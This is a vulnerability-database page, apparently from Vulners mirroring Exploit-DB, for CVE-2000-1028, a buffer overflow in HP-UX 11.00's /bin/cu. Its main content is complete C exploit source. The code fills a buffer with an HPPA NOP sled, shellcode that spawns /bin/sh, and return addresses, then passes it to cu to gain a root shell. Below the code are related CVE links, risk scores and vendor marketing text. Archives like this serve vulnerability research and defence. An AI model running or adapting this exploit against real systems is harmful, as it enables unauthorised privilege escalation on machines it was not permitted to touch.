Lucene search
+L

HP-UX 11.0 - '/bin/cu' Local Privilege Escalation

🗓️ 13 Jan 2001 00:00:00Reported by zorgonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 73 Views

HP-UX 11.0 local privilege escalation exploit in /bin/cu tested by Zorgon in 2001.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-1028
29 Nov 200005:00
cve
cvelist
Cvelist
CVE-2000-1028
29 Nov 200005:00
cvelist
exploitdb
Exploit DB
HP-UX 9.x/10.x/11.x - cu Buffer Overflow
2 Nov 200000:00
exploitdb
euvd
EUVD
EUVD-2000-1015
7 Oct 202500:30
euvd
nvd
NVD
CVE-2000-1028
11 Dec 200005:00
nvd
/*
 * Copyright (c) 2001 Zorgon
 * All Rights Reserved
 * The copyright notice above does not evidence any
 * actual or intended publication of such source code.
 *
 * HP-UX /bin/cu exploit.
 * Tested on HP-UX 11.00
 * [email protected] (http://www.nightbird.free.fr)
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200    /* it works for me */

u_char hppa_shellcode[] = /* K2 <[email protected]> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int
main(int argc , char **argv){
  char buffer[LEN+8];
  int i;
  long retaddr = RET;
  int offset = OFFSET;

  if(argc>1) offset = atoi(argv[1]);
    for (i=0;i<LEN;i+=4)
      *(long *)&buffer[i] = retaddr + offset;

  for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
    *(buffer+i) = HPPA_NOP;

  memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
  fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
  fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));

  execl("/bin/cu","cu","-l",buffer,0);
}


// milw0rm.com [2001-01-13]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jan 2001 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.0148
73